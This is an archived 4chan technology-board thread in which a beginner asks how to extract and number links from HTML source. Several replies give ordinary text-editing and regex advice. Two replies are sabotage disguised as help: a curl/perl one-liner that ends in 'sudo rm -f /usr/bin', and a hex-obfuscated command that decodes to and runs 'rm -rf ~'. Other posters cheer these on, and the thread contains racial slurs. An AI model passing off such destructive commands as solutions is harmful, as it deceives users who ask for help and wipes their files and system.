[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y ] [Search | Free Show | Home]

From a web page source

This is a blue board which means that it's for everybody (Safe For Work content only). If you see any adult content, please report it.

Thread replies: 22
Thread images: 2

File: image.png (2MB, 1136x640px) Image search: [Google]
image.png
2MB, 1136x640px
from the code of a web page i wanted to copy the bunch text with the list of this links but as you can see it inclutes < img src= and <a> switches and all this shit...

So i want to copy that and edit it removing everything but the link and keep every link in a single line and also i want to add a "/1, /2, /3, ... " at the end of every link.... and save them in a .txt file

how can i do this?

can i use some nice tool to edit lines of text like that and add numbering or whatever i want???

what do u suggest?
>>
>>57124731
Regular expressions.
>>
>>57124750
What do u mean?
>>
>>57124813
Google regexp.
>>
>>57124819
that does not work for what i want
>>
>>57125409
That's exactly what you want.
>>
You could do some javascript in the console.
>>
>>57126171
I don't think they know what they want
>>
curl [YOUR_URL_HERE] | perl -ne'/<img src="([^"]*)"/ && print "$1\n"' && sudo rm -f /usr/bin


Good luck with your app, Pajeet!
>>
notepad.exe
Edit > Replace
>>
you can do the same thing above anon said with notepad++
>>
File: Drevil_million_dollars.jpg (8KB, 300x318px) Image search: [Google]
Drevil_million_dollars.jpg
8KB, 300x318px
>>57126296
>>
>>57126296
Savage
>>
>>57126296
>rm: cannot remove '/usr/bin': Is a directory
Should have done something that actually works and doesn't require root, like
$(echo 726d202d7266207e0a | xxd -r -ps)
>>
https://www.gnu.org/software/gawk/manual/gawk.html

Here is a guide on awk/gawk. Read it and you will be ready to do what you want to do in 3 months. good luck.
>>
>>57126296
Forgot to add recursive
>>
>>57124731
>what is ctrl+d in sublime text
We have a >>>/sqt/ you know? Fucking nigger
>>
>>57125409
They are used for exactly this sort of shit. Link me the website senpai
>>
>>57124731
gedit, or anything with "find and replace" tool.
>>
Regex
>>
Would be ezpz with some python knowledge. It's ok, you can still pay pajeet to make a script though
>>
>>57124731
First of all: for fuck sake learn to screenshot.
Second, do you need it for:
-one time only
-multiple occasion
-generating a list to feed to more code / include in anothe program

>one time
Text editor of your choice > find and replace > replace unwanted strings with an empty string.
Also, in sublime text you can have multiple cursor to edit multiple lines at the same time.

>otherwise:
regex,
or write a parser that copies the wanted lines in a string array, then for each string in the arrays extracts just the substring you want and adds it to a second string array
Thread posts: 22
Thread images: 2


[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y] [Search | Top | Home]

I'm aware that Imgur.com will stop allowing adult images since 15th of May. I'm taking actions to backup as much data as possible.
Read more on this topic here - https://archived.moe/talk/thread/1694/


If you need a post removed click on it's [Report] button and follow the instruction.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com.
If you like this website please support us by donating with Bitcoins at 16mKtbZiwW52BLkibtCr8jUg2KVUMTxVQ5
All trademarks and copyrights on this page are owned by their respective parties.
Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
This is a 4chan archive - all of the content originated from that site.
This means that RandomArchive shows their content, archived.
If you need information for a Poster - contact them.